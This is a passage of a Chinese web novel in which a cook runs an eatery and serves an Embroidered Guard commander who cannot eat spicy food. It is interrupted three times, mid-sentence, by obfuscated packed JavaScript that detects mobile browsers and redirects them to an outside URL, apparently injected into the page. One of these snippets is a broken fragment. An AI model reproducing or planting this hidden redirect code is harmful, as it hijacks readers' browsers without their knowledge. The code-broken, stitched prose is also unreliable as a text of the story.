剩余的面皮、面筋、细面正好都凑一碗，码上青绿的黄瓜丝、橙红的胡萝卜丝、以及最后一筷黄豆芽，浇上姜蒜水、倒入醋、酱油、盐、砂糖水调味，又晃开辣油，倒入瓷碗，正好盖住碗底一层。 江弥杉端上凉皮，目光从小碗略过，再次对上李定卓的眼，：“辣油的辣味不重，公子若是需要，可自行添加。” 李定卓无言拌匀，在江弥杉转身时叫住了人：“我不好把控，你对辣油更熟悉，你来。” 江弥杉：“······好” 说完，江弥杉退至前桌坐下，垂眸无聊地数着指头，偶尔抬眼瞄一眼坐在对面的人。 李定卓先挑起两条面皮送入口，诱人的酸中带有甜的滋养，勾起人想再多吃的几口的欲念，凉凉的汁水似一捧清泉，淋浇暑热带来的干乏，甚是舒爽。 面皮劲道，未发硬、发干，恰到好处的劲道，顺滑地钻入口舌，在齿间作乐，使人欲罢不能，增减一分，都不对味口。 算是可口吃，但·······总觉得差些意思。 ：“江姑娘。” ：“嗯。”江弥杉抬头。 ：“有劳。” 江弥杉嘴角微扬：“无事。” 江弥勺走至对面，拿起汤勺，先舀了拇指盖大的一勺，在李定卓的注视下倒上面皮，：“公子先尝尝。” 没有拌匀，李定卓深吸一口气，挑起那条入口，辣意微乎其微，但在接触到舌尖的一刻，心翻胃涌，他摆下筷子，脸色立刻煞白，掏出帕子，掩口吐了出来。 他脸色极差，江弥杉一吓，连忙倒茶，递去给李定卓，轻声道歉：“抱歉······” 李定卓拢着帕子，浓眉紧蹙，深喘几口气才觉得好受些，：“是我的问题。” 江弥杉抿唇，不再多问，端起小碗放至对面，又走过去：“无法食辣椒并非是大事，有许多食材都有辣意能够替代，往后店里会尝备着的。” 李定卓喝完茶，目色沉沉地盯着面前的面皮，话语叶透着股寒意：”酸甜苦辣咸，唯独不能辣。” 江弥杉：“也并非如此，许多地方，少有食辣之人，饮食清谈，也有多种吃法。” 李定卓抬眼，江弥杉微微笑起：“人间百味，总会寻到符合心意的，这道不合，就换下一道。” ：“至于面皮······” 李定卓道：“我能吃完。”顿了顿，他又道：“将辣油抬过来。” 江弥杉还未反应过来，一个不字脱口而出，开始找补：“食物多是令人愉悦，或是回忆美好，若是用来令自身难受，吃进去，也不会感到美味的。” ：“你如何就能断定我不适，也许，我痛并愉悦。” ：“民女亲眼所见。” ：“所见未必是真。” ：“这样说，是公子演技惊人，为了吓我一个单薄女子？” ：“······” ：“端来。” 江弥杉站着，面色凝重：“不行。” 在李定卓起身的前一刻，江弥杉快走过去，端起碗，转身小跑离开。 看她跑开，李定卓也并未生气，又收回视线，挑面皮入口。 人呆在厨房，李定卓挑起面皮吃完都不见人出来，干脆放下三十文离开。 又过许久，江弥杉才探头望，见人已经离开，才放心走出去，收拾餐桌，一面收拾，江弥杉觉着她离被收拾也不远了，可让她看着人折磨自己，这不比被收拾更难受。 再说了，她这是食肆，又不是挑战比赛，看人吃得痛苦，只当看戏，最后评价一句勇气可嘉。 那她两辈子的厨师真是白做了！她做出厨师的初衷也不是这个！ 至于李定卓，兴许是得罪了，还是做几样点心去赔罪吧······ 想着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009207|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江弥杉轻叹一声，收起餐碗去厨房清洗。 食肆不远处，李定卓就站在暗处。 等待片刻，总算见人提着灯笼缓缓走来，他飞身上瓦，注视那道影子从眼底略过，走得略远，才飞下跟上。 江弥杉慢慢走着，京城治安良好，因而也无需特别担心，可走着走着，她觉着不对劲，总像是身后有人跟着似的，她不由得加快脚步，那人似乎也在加快脚步。 江弥杉心慌，前方就是一条十字巷，直走便是清尚街，她小跑走过，往右拐，躲至一个石狮子后。 李定卓跟了一路，人却不见了，左右观望了眼，握紧手，提高嗓音：“江弥杉，江弥杉！” 石狮子后的江弥杉闻声，只觉熟悉，忽得想起在哪儿听过。 这声音，不就是李定卓嘛！ 所以，一直跟着她的是李定卓！ 江弥杉更摸不着头脑，没有回应，提着灯笼走出，走近李定卓，抬起灯笼，照亮李定卓略有几分慌乱的冷脸，笑道：“原来是是大人。” 江弥杉遗传了父母的优良基因，身形高挑，按这估算，大约也有一米七左右，但站在李定卓面前，她的头刚刚李定卓的肩头，兴许能够被他轻轻松松地挡住。 李定卓深吸一口气，即便被抓住，面色也为流露出一丝异样，垂眸道：“是我就不怕了？” 灯笼投出淡淡黄光，投洒在江弥杉的容颜间，照得她本就圆大的挑眼更加璀璨，高挺的鼻、饱满的唇投下深影，极致艳丽。 得罪人在先，江弥杉没有撒慌：“······也怕。” 李定卓头一回看得这样仔细，细微至眼睫都数清，他冷笑：“那种怕？” 江弥杉被问得不会了，她总不能说怕被抓去镇抚司喝茶。 ：“怕我对你做不好的事？” ：“······民女粗鄙，样貌平平无奇，如何能入大人的眼？” 胡说八道一通，江弥杉放下灯笼，：时候不早了，民女先回家了。” 李定卓挑眉：“你如何能确定你入不了我的眼？” 江弥杉却没想到他会如此说，却听李定卓又道：“莫要妄自猜测。” 江弥杉欲言又止，打算先溜：“大人······民女真该走了，再晚些，家里的人该担心了。” ：“送你一程，届时若是有何意外，宫里的贵人只会问责与我。” ：“······” 想着少得罪人，江弥杉没有再抗拒，垂眸道：“多谢大人。” 李定卓暗暗垂眸，打量着身侧恭敬有礼地人，想起章文安的话，恶名在外的，其实是他。 这虽不是头一回被如此说，但却是头一回他莫名觉得心里闷。 无论是锦衣卫，还是锦衣卫指挥使，在外人眼里，有如洪水猛兽，他从未在乎过。 锦衣卫效忠皇帝，所查案件多涉及朝廷百官，外人如何看不重要，因为他只在乎事实和真相。 可遇上江弥杉，看她小心谨慎，却无比让他心闷，而让他更闷的是，江弥杉兴许认为，他与前任指挥使，并无不同之处…… 是冤假错案的制造者，她或许，就是如此想的。 他又能如何解释？ 11. 西瓜冰露珠 休息几日，江记食肆又恢复营业，菜品中新添上了糖水与茶点。 应季的西瓜、草莓、菠萝等蔬果上市，休息一日，江弥杉也没闲着，去市集逛了一圈，日落挎着大小水果回了家。 今日一早，恰好买得西米、西瓜等食材，江方万宜泡好西米，又将西瓜清洗后，装进一个高宽的木桶，桶绑在水井之上，投入井中冰镇。 在没有冰箱、冰块的情况下，水井就是必要的降温神器。 出去时，江弥杉刚把紫、两种薯类放入蒸锅。 兰香抱着一盆剥好的芹菜走过，稀罕的问：“姑娘在做什么？” 江弥杉转头回：“芋圆，用薯类做得小团子，泡在糖水里，软软糯糯，甜滋滋的，很好吃。” 说完，江弥杉抬步往厨台去，与方万宜处理今日的其他菜食。 待到饭点营业，下堂后，国子监的学员迫不及待地往外跑，卢灿宇跟杨双宇两人冲在前，直往江记食肆去。 到店第一时间抢到座位坐下，兰香上前抱菜，卢灿宇点了红烧狮子头、凉拌秋葵、孜然鸡腿，以及西瓜雪珠露。 兰香去后厨报完菜，又忙去招待其他桌的食客。 食肆忙起来时，停不下一刻，双脚站不定一会儿，就要奔走在各个餐桌间。 后厨烟火盛冒，菜勺炒锅的声音几乎未有停下的一刻。 江弥杉忙炒菜，方万宜端着几个的晶莹又缤纷的瓷碗走至厨台前，撩开面前的纱布，映入眼帘的一木桶波光粼粼的红粉果汁。 在井水中浸了一个多时辰，取出来时，绿黑相间的瓜皮冰冰凉凉，当江弥杉从中间切开的一刻，红粉的瓜肉饱满地填满瓜瓤，一颗黑粒未有，满满的都是水润润的果肉。 瓜肉清甜，脆脆的瓜肉就如此在带着清凉的冰爽，在口中咔呲咔呲的游蹿。 冰爽又清甜的果汁，沿着经脉愉悦地流进全身上下，脑子里只剩下一个感觉，爽！ 兰香捧着瓜，如此说。 碗底码着一层晶莹剔透的圆珠，上方绕着捏在手中就弹软的圆紫、圆黄。 方万宜舀起红汁，浇入碗内，红瀑布落碗成泉，晶珠、彩球都飘起，飘飘悠悠地在红泉里浸浴。 方万宜端至门口，交给兰香。 兰香端送上西瓜雪珠露，一抹亮红映入卢灿宇的眼帘。 兰香笑道：“西瓜冰珠露，客官慢用。” 说完，又去招呼客人。 卢灿宇端起碗，舀一勺入口，冰冰凉凉，果甜清新，雪珠弹软，沾染着果汁，比起单喝果汁，又多了些趣味。 果汁沿喉滑下，从喉咙、再到胃，一路冰凉。 他接着盛起两个彩团，软软糯糯，在齿间弹跳，内里回甘，是薯类独有的香甜细腻，与西瓜相配，别有一翻风味。 杨双宇搅着红露感慨：“真是回回来都有惊喜。” 卢灿宇笑：“江记特色，一日不吃，念得慌。” 杨双宇：“是啊，同样的做法，家里厨子做得，就是没有江姑娘做得香。” ：“卢兄，你说可会有酒楼里人来打探，回去就做一模一样的。” 旁边一桌突呛得咳起来，杨双宇扫一眼，又收回目光，立刻又被兰香端上其他菜吸引了注意。 对桌的两人神色略不自然，咳得心颤，两人对了个眼色，舀起西瓜露喝，又瞄一眼新上的香气腾腾的饭菜。 就是在简单不过的西瓜果汁啊，但这个团子，还有饭菜…… 两人又慢慢细品，试图从中剥出细枝末节。 鸡腿肉应是提前熏过，又上火烤，加了孜然炙烤，柴碳是松木…… 美味席卷舌尖，再无暇多思索什么，只想大快朵颐，真美味啊！！ 饱腹一餐，食客揉着肚子走出食肆。 回去路走到一半，两人对看。 ：“你应当记得是如何做得吧？” 另一人：“……我以为你会记。” 饭点过后，江记打烊，江弥杉去挂木牌时，左后方忽传来一阵喧哗。 江循声望去，四五个高达的男子围走在一个拷着头手的长髯老人周边，老人低垂着头，悄不清神情，身上还带着一个行囊。 前方是一家当铺，他们从当铺走出，老板还脸色苍白的站在门口，似是心有余悸地弯着腰，直到那群人离开，他站不稳地似得扶着门边。 老板的妻子忙上前搀扶，两人又往前方瞧，才颤颤巍巍地走进屋。 江弥杉正要走，忽见一个衣袍与适才那队人相似的高大男子快步而来。 江弥杉转身，那人连忙叫道：“姑娘且慢。” 江弥杉猜到他们是便服锦衣卫，又想起前日夜里做得承诺，暗叹不好。 她还没做呢，原本是打算咸点做两种，甜味做两种，待李定卓来时，用食盒装了送给他。 却没有想到他会派人提前来取，或者，不是来取点心的，是来请她去吃茶的。 江弥杉但愿是前者，她笑着站在原处，等那人走近。 那人先见礼，随一字一字的重复适才指挥使交代的话：“姑娘今日不必等。” 江弥杉愣了一下，笑意未减，道：“民女知晓了，有劳大人。” 说完，她又道：“天气暑热，不若吃瓣西瓜消消暑气，再回去复命？” 那人不好意思地抓抓头，：“不必了，再下告辞。” 若是回晚了，指挥使大人可等不及。 江弥杉：“……” 那人又快步离开，里间传来兰香的招呼：“姑娘，瓜切好了！” 江弥杉：“来了。” 一个午间的忙碌，满身疲惫，江弥杉抱出一个又大又圆的西瓜，吩咐兰香切开吃。 三人一人抱着一大瓣啃。 江弥杉咽下一口瓜，问：“万宜，近日你的为味觉可有感受到什么波动？” 方万宜吃什么都食之无味，但今日却不同：“今日喝露时，有受到一丝丝的甜味。” 江弥杉：“嗯，药不许停，待全部恢复了，再去看诊，一定要清除所有毒气。” 方万宜点头：“大夫说，这也算是奇迹，尝到味了，大约是治愈的。” 方万宜：“大夫说，失味便要以味刺激舌尖，兴许也是姑娘烹调精湛，我吃得多了，舌也有了回应。” 兰香咬一口瓜，：“还有如此说法？” 方万宜微微一笑：“大夫是如此说的，我也不懂。” 江弥杉咬完一半瓜：“味道大多是相融的，今日你尝到了甜意，那么我们就多试试甜辣、酸甜口的吃食，再配合大夫，仔细吃药，兴许年底就能恢复正常了。” ：“嗯，今夜炸甜辣鸡吃。” 方万宜：“姑娘今日与我们一起回去？” 江弥杉点头：“嗯，今日早些打烊，回去庆祝你味觉初现。” 兰香：“多早？” ：“餐食售罄就打烊。” 反正李定卓不来，也无需忙着做糕点。 李定卓吃得很慢，因而每日到家时，附近的居民都大多在准备洗漱安置，而她还在吃宵夜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009208|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 细想了一会儿，江弥杉觉出不一样的感觉。 李定卓派人专程告诉他今夜不来，是觉着，她每日都在等他？ 这个等，在她这里是担心得罪，在他那儿呢？ 转念一想，江弥杉立刻否定了这个想法，不会的，活阎王不会有其他感情的。 就算有，按他的行事作风，也会毫不留情的斩断。 ＊ 夜未浓，售出最后一份西瓜冰珠露与莲蓉酥，江记食肆打了烊。 一炷香过后，方万宜与兰香在前，江弥杉锁严门，跟上，三人一起离开。 街道中，传来此起彼伏地交谈声。 ：“姑娘，今夜也做西瓜冰珠露可好？” ：“保证你吃够。” ：“姑娘操劳一日，还是我与兰香来做吧。” ：“对！姑娘在一旁休息。” ：“那如何能行，你们也累了一日。” ：“三个人一起做，谁也不许反对。” ：“……” 回到家中，三人都未动，先躺在各自屋里的榻上休息。 又过几盏茶的功夫，才在厨房汇合。 兰香将西瓜投入京中，又跑进厨房帮忙。 又过一会儿，树下的圆桌摆满一桌香气满满的饭菜。 树上挂着灯，照得下方的菜食鲜丽亮眼，香气漫漫，十分勾人。 江弥杉先打了一碗西米露，喝下一勺，爽气的感叹一声，接着去夹裹满甜辣酱的酥脆鸡块。 咔呲一声，刚出锅的脆皮还为被甜辣的酱汁浸透回软，内里带着辣意，咬破面衣的一刻，鸡腿肉饱满的汁水喷涌而出，醇香的嫩肉将齿包裹。 碳水带来的满足感扫去疲惫与倦怠，身体似乎随着脉搏的跳动活了过来。 江弥杉夹一快给兰香，又夹一块给方万宜。 ：“忙了一天，多点吃肉。” 一口鸡块，一筷香起喷喷的菜、江弥杉挑一口饭，满满实实地品尝着可口佳肴。 兰香也埋头吃饭，筷子几乎没在桌上停过。 方万宜嘴角勾起一抹笑意，觉着贫乏的味口又提升了几分，夹起鸡肉送入口。 是甜意，微微的甜意，随后在甜意的裹卷中，一丝丝辣的痛意在舌尖点点散开。 方万宜握紧筷子，诧异地望向江弥杉。 ＊ 夜深，江弥杉端着半碗冰露独坐在廊下赏月。 繁星点点，环月似金钩般的悬于一片墨布中，微凉的风一吹，就被云遮住。 江弥杉喝一口露，咬着西米，门忽咚咚响了两声，她起身去看，刚开一条缝，就前几户的汪小俊满眼含泪，泪珠一颗颗往下掉，哭着说：“姐姐，救救我爹娘，他们被冤枉了，还被坏人打了。” 江弥杉打开门，先是怕，但还未反应过来，就被拉了出去。 汪俊拉着江弥杉往前，正好撞见追出来提人的锦衣卫。 下一刻，江弥杉看到个熟悉的人，支着带血的冰寒的尖刀，身后锁着两个衣物鲜红斑驳的软人。 汪小俊指出那处道：“江姐姐，就是他……”看人要抓他，便想跑。 他话音未落，月光下，李定卓毫无波澜的寒脸转过，一丝都未犹豫地打出一支飞镖，阴暗的眸子定过来，凉镖滑过江弥杉的指，最后略过她，钉在了汪小俊的腿上，身后几步，砰的一声。 ：“该死！” 记忆深处的疤口被撕开，十年前的种种惨烈浮入眼帘，江弥杉两手一空，手中瓷碗清脆一响，在地上炸开花。 12. 酸菜鱼片 当夜又一次来至，随之而来就是在夜色中忙碌的人。 食肆只有两三桌食客，一面高谈阔论，一面享用面前的佳肴，对于新走进的食客，只是看一眼，又继续聊琐事。 章文安与李定卓并肩走近，在靠墙的第二桌桌坐下，李定卓目光随之落在柜台后正倒茶的江弥杉身上，眉眼含笑的她放下茶壶，端茶走来，似乎毫不受昨夜之事影响。 昨夜，一支镖飞过去，她端着碗洒了一地，手下从她身边将人带走时，她脸色差到了极点，时间紧迫，他与章文安必须带队回镇抚司审人，因而她之后作何反应再不得而知。 江弥杉端上茶，笑道：“今日主售酸菜鱼片、油炝菠菜，公子可要尝尝鲜？” 章文安握着茶盏，往今日刚挂上柜台前仅剩的几个的菜牌打量了眼，：“行，再加辣锅鸭爪、炖崧菜，姜葱鸡，可以吧？”他望向李定卓征求意见。 江弥杉想李定卓不能吃辣，接道：“炖崧菜与葱姜鸡未加辣椒，酸菜鱼片与油炝菠菜所用辣椒不多，只是提个味。” 李定卓若有所思：“除了辣锅鸭爪，其他都一分二。” 章文安诧异地蹙眉：“定卓，你······” 定卓吃不得辣，一丝都不成。 江弥杉也摸不准李定卓在想什么，回了句公子稍待片刻，便走进厨房。 两盏茶喝完，江弥杉先将李定卓的送到，来回两转，上齐章文安的餐食，又提来茶，放在李定卓的桌前，口型清清楚楚:"莫要勉强。" 李定卓强压着不适，淡淡开口：“出事与你无关。” 江弥杉一股气攒上来，面上笑着，咬牙道：“大人倒下去，我的食肆被封了该如何是好！”说着就瞪起灿目。 ：“······” ：“大人就算打包带回镇抚司吃，我都脱不了关系！” 怎么能脱得了干系，鱼是她亲手一寸寸刨开的，剥膜去骨，鱼肉是她一片一片切下的，从杀鱼到煮鱼，哪一步都是她做得，最后端上桌，把指挥使吃倒了，她能安然无恙？ 酸菜鱼片，酸菜与米椒是两月前腌制的，当下开坛正是酸味十足的时候，一卷腌菜配上十几根酸辣的小米椒，用剔去鱼骨、鱼头熬制的奶白浓汤炖煮，当腌菜的酸味与鱼汤融合，飘出鲜美的酸香时，倒入片成毫米厚的鲜白的鱼片。 此时再起一锅，热油烧干椒、花椒，麻辣味在油温滚滚中被提炼而出，而鱼片在热滚滚的香汤中转为雪白色。 再往用姜蒜蓉、香菜点缀与鱼片之上，随即淋上麻辣的热油，滋滋滋滋，各味在油泡炸响中更上一层楼，香得人心痒。 不过，对于李定卓而言，如此美味也可能是酷刑。 李定卓淡淡一笑，直直去夹鱼片，拦也不是，不拦也不是，江弥杉手指扣着桌边，眼瞧着他将夹着鱼片送入口。 江弥杉灵机一动，摇摇晃晃，显得腿上一丝力气没有，看着就要往后倒。 店里的人都急的站起身。 李定卓手疾眼快，快步挪身拖住，却见她脸色无常，唇红面白，只微闭着眼，丹唇微微露出一条缝：“要吃就趁没人的时候吃！” ：“民女晚些回家便可。” ：“指挥使大人，请莫要影响民女做生意。” 李定卓：“……” 如此一闹，李定卓扶起江弥杉，任她端着两碗菜去后桌。 章文安看江弥杉端菜过来，问：“江姑娘无碍吧？” 江弥杉笑道：“无碍，兴许是坐得久了，头也些发昏，这会儿已经好多了。” ：“这是……” ：“李公子说还是端来给您，他吃另两碗淡的就好。” ：“啊……”章文安瞧眼李定卓，松了口气。 此时，另外两桌客人结账。 江弥杉不再多聊，走去柜台结账。 章文安夹起微颤的雪白鱼片，送入口中。 鱼片嫩滑紧实，内里已被酸鲜的汤汁浸透，酸菜独有的酸意并不刺口，但足够浓郁，勾引着味蕾起舞。 花椒的麻、泡椒的酸辣、干椒的香辣，一齐融入了这份魅妖般的酸味中，勾动着舌尖的每一颗细粒，在唇舌间肆无忌惮地上攀下滑。 鱼肉必是新鲜的，因而当酸意旺盛舞动时，鱼片自身的那道甘甜似一段笛声，为这一只惊心动魄的舞增染了恬淡之意。 真香啊！怎能如此美味，他简直想迫不及待地大吃几口饭！ 饭，对饭！！ 章文安拿起勺，舀汤浇在莹白的米饭之上拌匀，接着盛起满满一勺，一口吞入。 浸着酸汤的米饭，酸鲜味丰，普普通通的米饭都被衬得美味的十倍，口舌馋意升了又升，根本停不下来。 若是定卓能够食辣，他是真想将这一道鱼肉分享。 这份美味，让人心神颤动呐！ 彼边，李定卓叫过结账的江弥杉。 江弥杉咳了一声，：“公子有何事吩咐？” 李定卓夹起卷用高汤炖至软烂的菘菜，放入米饭之上，抬起墨黑的眸子，目光沉沉，：“这道菜，可还有？” 江弥杉：“适才公子点的，是最后一份了，实在抱歉。” 李定卓没有接话，垂眸拌几下饭：“昨夜，那一家三口，并非善类。” 他怎么会提起这个？ 江弥杉一愣，反应过来他应当是解释，心里泛起一抹异样的感觉，顺着道：“我知晓了。” 李定卓嗯了一声，：“你不怕？” 江弥杉回想昨夜，她先时是被吓到了，再加上那段记忆实在铭心刻骨，已经深入骨髓，一时之间，脑内的弦嘣的就断了，因而砸了碗…… 到后来人都走了，风一吹，她也清醒了一些。 排除锦衣卫乱抓人的可能，那么最大理由就是，这一家兴许做了什么违背法度的事情，因而锦衣卫深夜来抓人，猝不及防。 兴许还人赃并获了…… 但小俊为什么会拉她出来，她却着实你也想明白。 她当下也只是普通百姓，无权无势，怎么敢和锦衣卫对着行事。 江弥杉微微一笑：“大人并非是会以权谋私之人。” ：“那倒未必。” 被堵住话头的江弥杉：“……” 行呗，你说什么，就是什么。 ：“那孩童之所以拉你出来，是知晓你深受宫中眷顾，想拿你用毒，以威胁我们放人。” 江弥杉倒吸一口凉气，：“多谢大人救命之恩。” 心想，知人知面不知心，以后得谨慎些才是。 李定卓终是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009209|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛起饭：“你若有损，不仅皇上会问责我，太后娘娘，也必不会轻饶了我。” ：“江弥杉，你的命，很重要。” 皇帝是为何，她知晓，但是太后…… 太后与江家又有什么关系呢？ 像是知晓她的疑惑，李定卓接道：“太后尚未出阁时，与江夫人是手帕之交。” 知晓了原因，江弥杉咽下喉：“大人放心，民女往后会谨慎行事，必不会给大人惹麻烦。” ：“嗯。” ＊ 夜深人静，街巷只闻三道此起彼伏的脚步声。 李定卓与章文安一左一右地护送，江弥杉略不自然。 章文安道：“贼人刚伏，江姑娘孤身走在道上，不安全。” 江弥杉：“有劳两位大人。” 章文安哈哈笑两声：“不过江姑娘的确胆大，见到我们提人，第二日还能镇定自若，少有人能做到如此。” 江弥杉轻轻一笑：“既然到店用餐，便是客，如何能怠慢客人呢？” 章文安挑眉：“也并非如此，多少人对我们唯恐避之不及……” ：“就像耗子见了猫，溜得比脚底抹油还快。” 李定卓瞥一眼：“他说得不免夸张了些。” 章文安确有其事的诶了一声，抬手比划：“就比如我们的指挥使，所到之处，必是三尺之外，不见人影。” 江弥杉道：“……我如此，是不是，损了指挥使大人的威严了？” 章文安煞有其事地点头：“是啊，你还端他的菜，锦衣卫里都无人敢做此事。” 江弥杉：“……”她不端，店就要被端了！ 李定卓：“莫听他夸大其词。” 江弥杉：“……是。” 锦衣卫如果每年都要做态度评价，李定卓估计是“不满意”最多的那个吧！ 送至院门口，李定卓让章文安先行一步。 待章文安走远，李定卓才开口：“你说的，要吃辣便趁店里无人去吃，可当真？” 听到李定卓要吃辣，江弥杉就暗暗头疼，她抬眼对上夜色沉沉的眼，：“真，驷马难追的真。” ：“不过，大人若是出了什么意想不到的意外，我可架不动大人去医馆。” 怎么说呢，李定卓是冷峻类型的，眉眼间总透露着无限疏离，冰寒似刀，时刻会扎入人肉里。 狠是不需刻意塑造的，似乎已经刻进了他的呼吸之间。 就像那日，她根本想不到飞镖会擦着她的手过去，毫无防备。 也根本想不到，他下手极重，但又神色的淡然地走在两个满斑驳的人前，手里还握着血刀。 李定卓：“好，那我过几日来。” ：“若出什么意外，你无需管我，任我趴在桌上就好。” 江弥杉：“……” 这……她的店还是会被端了的吧？ 江弥杉抬手打住：“大人还是自己备药吧，江记食肆暂时还不想闹出人命。” 李定卓：“……” 忽觉着，怎么和将军口中所述的，对上了些许？ ：“民女也还暂时不想被你的下属架着脖子拷走。” ：“民女还要养家糊口。” 李定卓眼底浮出一抹笑意：“好。” 13. 铁板鸡 天阴晴不定，昨日晴空万里，午夜就涌上厚云，树被刮得直响，寒凉也钻进窗缝，闯入帘帐。 昨夜熏制蒜片至夜深，热水擦过身，江弥杉倒上食肆院里的床，头刚挨着软枕，不过一会儿，她便连虫鸣声都听不到了，平躺在榻上，一动不动。 天冷气寒，江弥杉搬出了碗碗香，依然是食客挑菜，因而她将煮过摆在柜台右侧。 熬制一夜的高汤，煮着各色菜蔬、肉卷，小火慢热，使汤汁渐渐浸透菜品，咕嘟咕嘟地冒着鲜香的白烟。 进店的食客闻着香，都会先挑上一碗，热乎乎地边吃边聊。 寒风卷过，江弥杉为食客倒热茶，听食客在对铁板上滋滋响的亮红鸡肉赞叹。 ：“就为这一口，今日就没白来！” 江弥杉看着他吸嘴的红唇，笑道：“可要来份红果糯团汤？甜口软糯，解辣正适合。” ：“来两碗，在添碗饭。” ：“好。” 转身，江弥杉瞥见一位灰发老人走进，手里拄木拐杖，她上前招待：“您老这边坐。” 花易仟随他落座，看店家年轻浓色妍丽，与人们口中的形象，到对得起来，嘴角微微抿起笑。 江弥杉照常与食客介绍：“今日主售铁板鸡，是辣口，辣度有微、中、重三种口，柜台上挂着的木牌是今日有售菜品，老伯可自行决断。” ：“铁板鸡做成中辣的，再有炖菘菜、红烧晶肉。” 江弥杉：“好的，老伯稍待片刻。” 说完，江弥杉讲究拿来茶杯，位老伯倒了杯热气腾腾的香茶，才走进厨间。 炖菘菜、红烧晶肉都是现成的，兰香与方万宜拿齐就端出去。 江弥杉拿出个圆圆的铁盘放至小炉眼上，到些许香油，当油滋滋做响时，江弥杉接着又加一勺稠糊的辣酱，辣汁沾油即可爆出浓郁的香辣味，香辣的热风冲袭鼻息。 江弥杉又夹起浓绿的青蒜叶、焯水后软嫩的黄豆芽、土豆丝先后翻炒至软，在加热间，蔬菜沁出多余的添汁，酱汁又增添几分粘度。 江弥杉再从一旁砂锅中舀两圆勺已经裹着亮棕辣衣的鸡块放上铁盘，在翻动间，辣酱逐渐裹上鸡块,香辣之中，鸡肉的香攀升而起，从鼻息钻进，吊动起唇舌一起参与热辣的鼓舞。 油亮的鸡块在板上跳起红光，红纱一般的随着油风轻轻在眼前飘晃。 滋滋香响在板底灼热环绕在鸡块表皮，这时，蔬菜夹裹于鸡块间，香气的欢舞达到最高峰，她这才又倒入一勺鲜香的高汤，搅拌。 江弥杉将鸡块别道一旁，流出一小半空地，稠稠的酱汁还在冒着小泡，还未反应及时，一层金黄的蛋液随之研磨。 不断由内而外搅动，在鸡蛋蓬蓬弹弹时，江弥杉夹起铁盘，放上提前备好的石板，撒一层白芝麻、绿葱，金黄焦脆的熏蒜片，装点红光粼粼的鸡块正中，更令人食指大动。 铁板送出去时，热气还在继续烫着皮肉，江弥杉端上桌：“铁板鸡，您慢用。” 喷香辣意，亮红的肉块间点缀着尚还留着几分本色的黄白豆芽、青绿蒜苗、淡黄土豆丝。 花易仟深吸一口气，满意地点两下头。 适才的炖菘菜，被炖的耙烂，看着平淡无奇，不过是一卷菜叶子，甚至有几分粘稠，可等入了口，又别样滋味。 炖煮的汤底应是骨汤，用的是筒骨与鸡骨架、先中火炖煮，菜的筋条感在汤中慢慢消融，随后大火收汁勾芡，火候、时辰都把控的极为精准，因此入肉几乎不用费力咀嚼，鲜甜的菜叶就融化在了舌尖。 再有入口即化，香意醇浓的红烧晶肉，晶肉，的确，肉如其名，从呈色上来看，棕而不黑，红而不妖，塑出了这抹精美的棕红。 肥而不腻，在舌尖一抿，皮脂就轻轻融化了，瘦肉软嫩，毫无干柴之意，唇舌生姿。 甜中带咸，似琴瑟相合，乐曲动心，一下就能抓住人味蕾，两味多少一分都突兀平淡，偏偏这里肉就抓住了关窍，实在令他找不出一丝错。 如此精益求精的口感，比起某些打着御厨的头衔、挂着御膳的幌子，更让人无可挑剔。 花易仟嘴角的皱纹更浓，：“姑娘师从何门啊？” 江弥杉笑回：“师从中外，无门无派。” 中外美食，她都会。 花易仟哈哈笑两声，又带几分探究：“中外是何人？” 江弥杉笑眼盈盈：“是……位隐姓埋名的高寿老人，我也不知晓他真名为何、当下所在何处。” 江弥杉再编不下去，岔开话题：“您食用几块前记得拌匀，有何吩咐，只管伸手叫我就好。” 说完，江弥杉溜去柜台，又有食客来麦买碗碗香，她又笑着招呼。 花易仟暗暗感叹可惜，拿起筷子拌均匀鸡块，先尝一口鸡块。 鸡块裹着棕红酱汁，日光下，有如静池洒上阳花，亮晶晶的，甚是诱人。 鸡肉该是嫩的，因而筷子夹起的一刻，能够感受肉与筷的挤压间弹缩。 入口，辣是极好的催化剂，释放出最烈的能量，感染着原本单调的口舌，丰富又单纯，在舌尖热烈地绽放出精彩的味美，缤纷又热烈，接踵而至的是轻轻咬开肉块后溢出的汁水。 微微染着辣意的肉软嫩又饱富弹性，醇香之中，滋滋果甜有的恰到好处，缓和着内外两种辣意热辣的攻略，又解了多食生腻的问题。 鸡蛋蓬松软嫩，入口即化，也甚是美味。 花易仟嚼了许多下，感受口舌间各位融洽地的精彩演绎，才心满意足地挑口饭。 不一般呐，不一般！！ 花易仟又接着尝了炒在其中的素菜，吸足了酱汁的辣、鸡肉的香、又有抹鲜意，兴许是有了蒜片与芝麻，味道中又多了其他滋味，引得人像再大吃一口饭。 